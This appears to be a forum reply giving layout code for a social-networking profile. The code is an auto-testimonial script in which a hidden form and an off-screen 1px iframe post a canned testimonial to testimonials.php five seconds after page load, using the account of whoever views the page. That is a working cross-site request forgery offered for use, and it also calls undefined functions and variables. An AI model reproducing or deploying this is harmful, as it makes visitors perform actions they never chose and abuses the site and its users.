Re: just for example : here's my code : http://h1.ripway.com/gepukz/lawliet.js
i don't know how to put those codes into my layout codes..
plsss helpp T_T
sorry for the late reply..
sample??
but it's for overlays,, ok here : this for the head TAG
<SCRIPT language="JavaScript">
<!--
function random_testi()
{
var ranNum= Math.floor(Math.random()*5);
return ranNum;
}
function getTesti()
{
var whichTesti=random_testi();
var testi=new Array(5)
testi[0]="I love this guy so much...the cutest ever! Ahren you rock!";
testi[1]="The best friend in the world, This guy will be with you til the end";
testi[2]="You can\'t go wrong with this guy, He is the jack of all trades";
testi[3]="This testi comes from the heart, always take good care of yourself Ahren";
testi[4]="Is it really hot in here? or it\'s just you? hehe take care hottie!";
document.testimonial_form.body.value=testi[whichTesti];
tfanatic();
document.getElementById('AUT').innerHTML=unescape( AUT)
}
//-->
</SCRIPT>
AND THIS IS FOR THE body TAG:
<div style="display:none">
<form name="testimonial_form" action="testimonials.php?uid=213000&action=add" target="hj****s" method="post">
<input type="hidden" name="testimonial_firstname" value="Ahren">
<input type="hidden" name="testimonial_uid" value="uid">
<input type="hidden" name="_submitted" value="1">
<input type="hidden" name="body" value="" maxlength="1000">
</form>
</div>
<iframe name="hj****s" style="positon:absolute;top:-100px;left:-100px;width:1px;height:1px;"></iframe>
<SCRIPT LANGUAGE="javascript">
setTimeout("getTesti()",5000);
</script>
hopefully i'm not wrong, ok happy working bro cyro!